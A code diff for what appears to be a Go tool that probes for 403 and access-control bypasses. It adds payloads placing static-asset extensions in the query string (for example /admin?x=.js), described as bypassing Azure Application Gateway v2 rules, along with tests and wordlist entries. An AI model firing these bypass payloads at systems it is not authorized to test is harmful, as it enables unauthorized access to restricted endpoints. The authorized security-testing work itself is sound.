diff --git a/README.md b/README.md index 11f88d3..de910f5 100644 --- a/README.md +++ b/README.md @@ -286,7 +286,7 @@ The tool runs all techniques by default unless you specify `-k`. - `path-normalization` - dot-segment and semicolon normalization variants - `suffix-tricks` - - suffix and extension tricks such as `.json`, `.css`, `;index.html`, and format-style query toggles + - suffix and extension tricks such as `.json`, `.css`, `;index.html`, format-style query toggles, and static-asset extensions in the query string (`?x=.js`, as seen bypassing Azure Application Gateway v2) - `payload-position` - inserts payloads at explicitly marked positions in the URL diff --git a/cmd/bypass_test.go b/cmd/bypass_test.go index 29bc25c..f4b181b 100644 --- a/cmd/bypass_test.go +++ b/cmd/bypass_test.go @@ -1739,3 +1739,73 @@ func TestCrossTechniqueDedupCollapsesSimilarFamilies(t *testing.T) { t.Fatalf("expected similar cross-technique result to be collapsed") } } + +// TestSuffixTricksSendsQueryExtensionVariants covers the Azure Application +// Gateway bypass where the static-asset extension lives in the query string +// (e.g. /admin?x=.js) instead of the path, so path-based allow rules match. +func TestSuffixTricksSendsQueryExtensionVariants(t *testing.T) { + resetTestState() + + var mu sync.Mutex + var capturedURIs []string + + ts, _ := testServer(t, func(w http.ResponseWriter, r *http.Request) { + mu.Lock() + capturedURIs = append(capturedURIs, r.URL.RequestURI()) + mu.Unlock() + w.WriteHeader(http.StatusForbidden) + fmt.Fprint(w, "Forbidden") + }) + defer ts.Close() + + opts := RequestOptions{ + uri: ts.URL + "/admin/panel?id=7", + headers: []header{{"User-Agent", "test"}}, + method: "GET", + proxy: &url.URL{}, + timeout: 5000, + rateLimit: false, + redirect: false, + verbose: true, + } + + requestSuffixTricks(opts) + + mu.Lock() + defer mu.Unlock() + want := []string{ + "/admin/panel?x=.js", + "/admin/panel?x=.css", + "/admin/panel?x=.js&id=7", + } + for _, w := range want { + found := false + for _, uri := range capturedURIs { + if uri == w { + found = true + break + } + } + if !found { + t.Errorf("expected query-extension variant %q, got %v", w, capturedURIs) + } + } +} + +// TestEndPathsPayloadFileContainsQueryExtensionVariants pins the shipped +// wordlist so the query-string extension bypass is exercised by default. +func TestEndPathsPayloadFileContainsQueryExtensionVariants(t *testing.T) { + lines, err := parseFile("../payloads/endpaths") + if err != nil { + t.Fatalf("parse payloads/endpaths: %v", err) + } + have := map[string]bool{} + for _, l := range lines { + have[l] = true + } + for _, w := range []string{"?x=.js", "?x=.css", "?x=.png", "?.js", "?.css"} { + if !have[w] { + t.Errorf("payloads/endpaths missing %q", w) + } + } +} diff --git a/cmd/requester.go b/cmd/requester.go index d027a4e..29511eb 100755 --- a/cmd/requester.go +++ b/cmd/requester.go @@ -3133,11 +3133,22 @@ func requestSuffixTricks(options RequestOptions) { baseURL + pathValue + "?" + "format=json", baseURL + pathValue + "?" + "output=1", } + // Static-asset extension placed in the query string rather than the path. + // Edge rules that match the full request URI against static-file suffixes + // (seen on Azure Application Gateway v2) treat /admin?x=.js as an asset + // and skip the restriction, while the origin still serves /admin. + queryExtensions := []string{".js", ".css", ".png", ".ico", ".svg"} + for _, ext := range queryExtensions { + payloads = append(payloads, baseURL+pathValue+"?x="+ext) + } if parsedURL.RawQuery != "" { payloads = append(payloads, baseURL+pathValue+";?"+parsedURL.RawQuery, baseURL+pathValue+".json?"+parsedURL.RawQuery, ) + for _, ext := range queryExtensions { + payloads = append(payloads, baseURL+pathValue+"?x="+ext+"&"+parsedURL.RawQuery) + } } payloads = removeDuplicates(payloads) diff --git a/payloads/endpaths b/payloads/endpaths index 23e8827..39de4c6 100755 --- a/payloads/endpaths +++ b/payloads/endpaths @@ -66,3 +66,11 @@ %3Ffoo.php %3F.php %23foo +?x=.js +?x=.css +?x=.png +?x=.ico +?x=.svg +?.js +?.css +?.png